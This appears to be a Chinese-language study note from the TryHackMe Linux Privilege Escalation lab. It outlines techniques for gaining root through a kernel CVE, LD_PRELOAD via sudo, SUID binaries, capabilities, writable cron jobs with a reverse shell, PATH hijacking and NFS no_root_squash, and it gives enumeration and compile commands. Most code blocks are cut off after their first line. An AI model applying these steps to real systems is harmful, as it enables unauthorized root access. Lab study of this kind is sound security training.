知识点记录
此文用于记录学习 TryHackMe 网站中 Room:Linux Privilege Escalation 获得的知识点。ƪ(˘⌣˘)ʃ
权限提升概述
权限提升即通过系统或应用程序中的漏洞,从较低权限的帐户转到较高权限的帐户
通过内核漏洞提升权限
内核漏洞利用方法
:在确定当前 Linux 的的内核版本后,可以通过搜索并查找目标系统内核版本的漏洞利用代码,利用某些可行漏洞
如何搜索现有漏洞利用代码
:Google 搜索;CVEdetails.com;Exploit-db 搜索;searchsploit 搜索
以下是做题时学到的知识点
Linux主机之间传送文件
:发送方使用命令python -m http.server
,开放端口;接收方使用wget
指令进行下载:wget http://<ip of sender>:8000/<filename>
CVE-2015-1328漏洞
:需求 Ubuntu 内核版本 3.13 至 3.19.0-21.21;影响的 Ubuntu 版本包括 Ubuntu 12.04/14.04/14.10/15.04;可实现本地非特权用户获得 root 权限,公开的漏洞利用代码在此ƪ(˘⌣˘)ʃ => CVE-2015-1328漏洞利用代码
通过设置LD_PRELOAD 生成具有root权限的shell
前提条件
:非特权用户在一些程序上拥有 sudo 权限,可以以 root 权限运行该程序;sudo 权限配置允许保留 LD_PRELOAD
环境变量,即/etc/sudoers
文件中包含如下配置:Defaults env_keep += LD_PRELOAD
;Linux 安装了 gcc,使得其可以编译并运行 C 程序
具体步骤
第一步,我们需要编写如下的 C 代码,这些代码的作用是使得进程在获取 uid 时返回 0,即 root 用户的 uid,实现提权(这里我准备了两段,第二段使用时需要在 shell.c 目录下)
1 | // 第一段 |
第二步,使用 gcc 将 shell.c 编译为共享库,指令为gcc -fPIC -shared -o shell.so shell.c [-nostartfiles]
最后,使用sudo LD_PRELOAD=./shell.so <命令>
,基于此技术可以使用的命令能够通过sudo -l
得知
利用SUID文件进行权限提升
SUID
:SUID 是一种特殊的文件权限设置,允许普通用户以文件所有者(也可以使用 SGID,文件所有者所在组)的身份执行该文件;如果某个可执行文件设置了 SUID 位,并且该文件的所有者是 root 用户,那么普通用户在执行该文件时,将以 root 权限运行该程序
具体步骤
第一步,通过命令find / -type f -perm -04000 -ls 2>/dev/null
找出所有被设置了 SUID 的可执行文件,观察是否有可以利用的命令
第二步,根据可以使用的命令,查看/etc/shadow
和/etc/passwd
,根据可以执行的指令,选择破解某账户的密码或新增 root 权限用户
习题知识点
:如果 Linux 主机为base64
指令设置了 SUID,则可基于此查看/etc/shadow
和/etc/passwd
并通过 base64 解码得到所有用户的账号及密码
利用Capabilities属性进行权限提升
Capabilities属性
:为特定二进制文件赋予的属性,在不给予非特权用户 sudo 权利的同时满足其使用该文件进行 root 权限才能办到的事
具体步骤
第一步,使用命令筛选出被设置了 Capabilities 属性的文件:getcap -r / 2>/dev/null
根据结果,查找提权点,并编写相应代码(可使用GTFObins辅助)使用户获取 root 权限,比如下例
1 | getcap -r / 2>/dev/null |
修改root定时任务进行权限提升
Cron Jobs
:是一种定时执行的可执行文件,默认运行权限同其任务设定的所有者相同;所有的这类可执行文件的配置被存于/etc/crontab
文件中,该文件可被所有人读取
具体流程
第一步,使用可以使用的查看命令,查看/etc/crontab
第二步,找到可以利用的提权点;比如,由 root 用户设置的,定时执行某可执行文件的指令,而目标文件可被非特权用户改写或被删除
最后,基于上述条件,对指定的文件进行改写,比如通过使用如下 shell,可实现攻击机对受害机以 root 权限实施的操控
1 | => 受害机 |
利用PATH环境变量进行权限提升
PATH
:Linux中的环境变量设置,对于未内置于 shell 中或未使用绝对路径定义的任何命令,Linux 将在 PATH 下定义的文件夹中进行搜索
具体步骤
:如下表依次进行
步骤 | 描述 |
---|---|
查找可写目录 | `find / -type d -writable 2>/dev/null |
检查 PATH | echo $PATH |
添加可控目录到 PATH | export PATH=/tmp:$PATH |
放置恶意二进制 | /tmp/thm |
执行目标脚本或程序 | 执行含未使用绝对路径调用命令的 SUID 程序 |
提权成功 | 获取 root shell 或读取敏感文件 |
利用NFS进行权限提升
NFS
:是一种网络文件系统协议,允许用户通过网络访问远程主机上的文件,其配置保存于/etc/exports
文件中
NFS的工作原理
:对服务器端,需配置并导出某个目录供客户端挂载;对客户端,将远程目录挂载到客户端某个目录,然后就可以像访问本地文件一样访问远程数据
NFS配置记录解读
:以下直接使用 ChatGPT 4o 给出的回复,<共享目录路径> <允许IP>(<选项1>,<选项2>,...)
📌 客户端标识方式(前缀部分)
你可以指定哪些客户端有权限访问,比如:
客户端标识 | 含义 |
---|---|
* |
所有主机(不安全) |
192.168.1.100 |
指定某个 IP |
192.168.1.0/24 |
指定一个子网 |
client.example.com |
通过主机名识别 |
🧩 常用选项说明(括号内的部分)
📖 读写权限控制
选项 | 含义 |
---|---|
ro |
只读权限(Read Only) |
rw |
读写权限(Read and Write) |
🚨 通常为了安全,建议尽量使用
ro
,除非真的需要写权限。
🧍 用户权限映射(身份映射)
选项 | 含义 |
---|---|
root_squash |
把客户端的 root 映射为低权限用户(默认行为) |
no_root_squash |
客户端的 root 保持 root 身份(⚠️ 极高危) |
all_squash |
把所有用户都映射成匿名用户(适合匿名只读共享) |
anonuid=UID |
设置匿名用户的 UID(配合 squash) |
anongid=GID |
设置匿名用户的 GID |
✅
root_squash
是默认也是推荐的,no_root_squash
是危险操作,应避免使用。
💾 同步与性能选项
选项 | 含义 |
---|---|
sync |
所有数据操作同步写入磁盘后才响应,数据更安全(推荐) |
async |
提前响应写入请求,性能更好但数据可能丢失(不推荐) |
📁 子目录检查
选项 | 含义 |
---|---|
subtree_check |
检查子目录权限是否符合导出要求(默认,稍慢) |
no_subtree_check |
不做子目录权限检查(性能更好,推荐) |
💡 其他高级选项(可选)
选项 | 含义 |
---|---|
insecure |
允许客户端使用 1024 以上的非特权端口连接(不推荐) |
secure |
只接受客户端从特权端口发起的请求(默认) |
nohide |
允许客户端查看挂载在共享目录下的其他文件系统 |
crossmnt |
允许跨挂载点共享子目录 |
fsid=0 或 fsid=root |
指定 NFSv4 的“根目录”,必须设置一个共享目录为根 |
提权点所在
:NFS 默认会启用属性root_squash
,把客户端上的 root 用户映射成一个低权限用户(通常是 nfsnobody
),从而避免远程 root 用户在 NFS 服务器上获得特权
具体步骤
第一步,在攻击机上查看目的机中可以挂载的共享文件夹,使用指令showmount -e 目的机IP
第二步,在目的机中使用非特权用户读取/etc/exports
,重点查看其中设置 no_root_squash 的文件夹
第三步,将选定的文件夹挂载到攻击机,使用指令mount -o rw 目的机IP:所选文件夹路径 攻击机挂载路径
第四步,在攻击机挂载路径下创建脚本,内容可如下
1 | // nfs.c |
编译后,为该文件设置 SUID 属性,随后运行即可获取目的机 root 权限
1 | gcc nfs.c -0 nfs -w |